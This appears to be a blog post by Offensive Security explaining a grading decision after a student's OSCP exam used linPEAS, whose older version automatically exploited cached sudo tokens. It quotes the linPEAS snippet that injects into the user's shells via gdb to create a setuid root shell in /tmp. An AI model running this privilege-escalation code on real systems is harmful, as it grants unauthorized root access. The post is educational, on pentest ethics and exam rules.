Understanding the tools/scripts you use in a Pentest

Earlier today a student shared with the infosec community that they failed their OSCP exam because they used a popular Linux enumeration tool called linPEAS.

linPEAS is a well-known enumeration script that searches for possible paths to escalate privileges on Linux/Unix* targets.

When reviewing their exam report, we found that a portion of the exploit chain they provided was considered by us to be an automated exploit since this automation is included in linPEAS. linPEAS utilizes a sudo token vulnerability which creates an executable binary and tests it in the background. If the executable works then the script will provide a command that the student needs to run the executable in order to escalate your privileges to obtain a root shell. 

Here is a snippet from the linPEAS source code that is used to execute the sudo token vulnerability: 

if [ ! "$SUPERFAST" ] && [ "$ptrace_scope" ] && [ "$ptrace_scope" -eq 0 ] && [ "$is_gdb" ]; then

    echo "Checking for sudo tokens in other shells owned by current user"

    for pid in $(pgrep '^(ash|ksh|csh|dash|bash|zsh|tcsh|sh)$' -u "$(id -u)" 2>/dev/null | grep -v "^$$\$"); do

      echo "Injecting process $pid -> "$(cat "/proc/$pid/comm" 2>/dev/null)

      echo 'call system("echo | sudo -S cp /bin/sh /tmp/shrndom >/dev/null 2>&1 && echo | sudo -S chmod +s /tmp/shrndom >/dev/null 2>&1")' | gdb -q -n -p "$pid" >/dev/null 2>&1

    done

    if [ -f "/tmp/shrndom" ]; then 

      echo "Sudo tokens exploit worked, you can escalate privileges using '/tmp/shrndom -p'" | sed -${E} "s,.*,${C}[1;31;103m&${C}[0m,";

    else echo "The escalation didn't work... (try again later?)"

    fi

  fi

  echo ""

Code example

See linpeas.sh

This creates a dilemma for us as exam graders. It is obvious that the shell, and the associated exam points, were obtained through the use of automation. In the OSCP Exam guide we call out:
 

Exam Restrictions

Given how linPEAS was executed, it automatically exploited a vulnerability leading to a shell. That is undeniable. This violates the rules, as this is an automated exploitation. 

However, linPEAS is also a very popular tool and this automated exploitation is a newer addition that not all users know about. There was no intent on the part of the student to cheat or otherwise deceive the exam; this was an honest mistake. 

With the situation brought to our attention by the impacted student, we reviewed the exam and have decided in this instance to provide the points which in this case, lead to the student receiving a passing outcome. We made this decision as a one-off as it is a complex circumstance, with no ill intent.

We wanted to talk about this publicly, as we want to avoid any additional confusion. Our stance on not allowing automated exploitation in the OSCP exam still stands. Automated exploitation tools are not allowed, and you will not be provided points for the flags obtained through the use of these tools. 

Taking the time to review public tools and scripts:

This entire situation leads to an important lesson of why you should know what your tools/scripts do before you use them. During live engagements, as a pen tester, this is your responsibility to own up to undesirable outcomes that negatively impact a client. 

Tool creators are constantly providing updates or make changes to the way the tool or script works. They even add new features that we may not be aware about. This is a fast moving space, and we stress in our training that you should know what the expected outcome of any tool you use will be, before you run the tool. This may mean running it in a controlled environment first, so you know what it will do.

In a real world assessment, running a tool that you do not fully understand or are aware of the changes that may have occurred to the tool could damage clients’ systems as well as your reputation or relationship with the client. We put too much trust in some of the tools we run constantly, and it is important to make sure of the changes that occur when the tool creator makes updates to it. In a real assessment, you are responsible for the outcome of the tools you run.

This is a better lesson to learn in a lab environment like PWK and not in a real world situation. The OSCP acts as a mini simulated assessment, and should be treated the same way you would an assessment against actual production systems. Think of the exam restrictions as contractual obligations on what you are and are not allowed to do. The exam is not an exercise of following a series of steps and running particular tools and passing, you need to understand what you are doing and why.

Final statements

For those that are planning to take their OSCP in the future, please keep in mind that tools which perform automatic enumeration are allowed during the exam. However, tools that perform automatic exploitation are not allowed during the exam. 

We also find it likely that the result of the “automated exploit” would be easy to overlook and in the students’ situation it should have not been the deciding factor for passing the exam. Therefore, we have re-adjusted the result of the students exam grade which in return was a passing grade on the OSCP. For future students that attempt the OSCP please be aware that we will no longer be lenient on this situation if this occurs during your exam attempt. 

As for linPEAS we have been reached out by the creator that the script has no auto-exploit features in it. The tool is okay to use as long as you do not use previous versions of the script that have the auto-exploitation capabilities.

If you ever have a question about whether or not the functionality of a script/tool goes against the exam restrictions you can reach out to challenges -at- offensive-security.com for guidance.

New for 2021

WINDOWS USER MODE EXPLOIT DEVELOPMENT (EXP-301)

Window User Mode Exploit Development (EXP-301)

Learn how to write your own custom exploits in this intermediate-level course.

Earn your OSED

FOLLOW US ON TWITTER:

@offsectraining

@kalilinux

@exploitdb